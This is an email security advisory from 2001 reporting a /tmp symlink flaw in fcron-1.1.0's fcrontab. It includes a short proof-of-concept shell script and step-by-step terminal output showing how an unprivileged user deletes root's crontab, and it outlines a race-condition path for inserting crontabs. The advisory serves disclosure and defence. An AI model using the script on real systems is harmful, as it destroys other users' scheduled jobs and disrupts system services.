The mail i sent to the securesoftware mailing list:

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From uwe@ohse.de Thu Jun  7 17:15:10 2001
Date: Thu, 7 Jun 2001 17:15:10 +0000
From: Uwe Ohse &lt;uwe@ohse.de&gt;
To: securesoftware@list.cr.yp.to
Subject: [local] [destroy] fcron-1.1.0 allows anybody to delete all crontabs
Message-ID: &lt;20010607171510.O20278@ohse.de&gt;
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Fcron Description, from the README:

    Fcron is a scheduler. It aims at replacing Vixie Cron, so it 
    implements most of its functionalities.


Vulnerability:

  The fcrontab program contains a classical /tmp symlink vulnerability, 
  allowing any attacker to delete anybodies crontab, with the obvious 
  impact on the system services.

  This has been tested on Linux and OpenBSD.

  The author has been informed on 2001-05-07. A new release may or may not 
  be available, i was too busy to follow this. In any case the workaround 
  is obvious: make the fcrontab problem only executable for root.


How to repeat:

  1. Install a crontab, for example for the root user:

        root# ls -l /var/spool/fcron/
        total 0
        root# echo '0 0 * * * echo test' | fcrontab -
        09:53:00 installing file /tmp/fcrontab.27301 for user root
        Modifications will be taken into account right now.
        root# ls -l /var/spool/fcron/
        total 2
        -rw-------   1 root     root          110 May  7 09:53 root
        -rw-------   1 root     fcron          20 May  7 09:53 root.orig


  2. As a normal user write and execute a script:

    uwe$ cat ~/x
    #! /bin/sh
    ln -s /var/spool/fcron/rm.root /tmp/fcrontab.$$
    exec fcrontab - &lt;&lt;EOF
    * * * * * false
    EOF
    uwe$ ./x
    09:55:55 installing file /tmp/fcrontab.27536 for user uwe
    09:55:55 User uwe can't read file "/tmp/fcrontab.27536": Permission denied

  3. As root look into the fcron spool directory:

    root# ls -l /var/spool/fcron/
    total 3
    -rw-r-----   1 uwe      fcron          16 May  7 09:55 rm.root
    -rw-------   1 root     root          110 May  7 09:53 root
    -rw-------   1 root     fcron          20 May  7 09:53 root.orig

  4. As the normal user edit your crontab:

    uwe$ echo '* * * * * true' | fcrontab -
    09:59:15 installing file /tmp/fcrontab.27543 for user uwe
    Modifications will be taken into account at 10h00.

  5. As root wait up to a minute and look into the fcron spool directory:
 
    # ls -l /var/spool/fcron/
    total 3
    -rw-------   1 root     fcron          20 May  7 09:53 root.orig
    -rw-------   1 root     root          102 May  7 09:59 uwe
    -rw-r-----   1 fcron    fcron          15 May  7 09:59 uwe.orig

  6. Root's crontab is gone, look into your backups.


Additional risk:

    As far as i can see one can also insert new crontabs into the system, 
    but to achieve this one has to exploit a race condition.
    The key is to create a link to new.someone and to kill the fcrontab
    program just after it creates the temporary file but before the 
    program removes the file because it notices that the file is malformed.


Regards, Uwe
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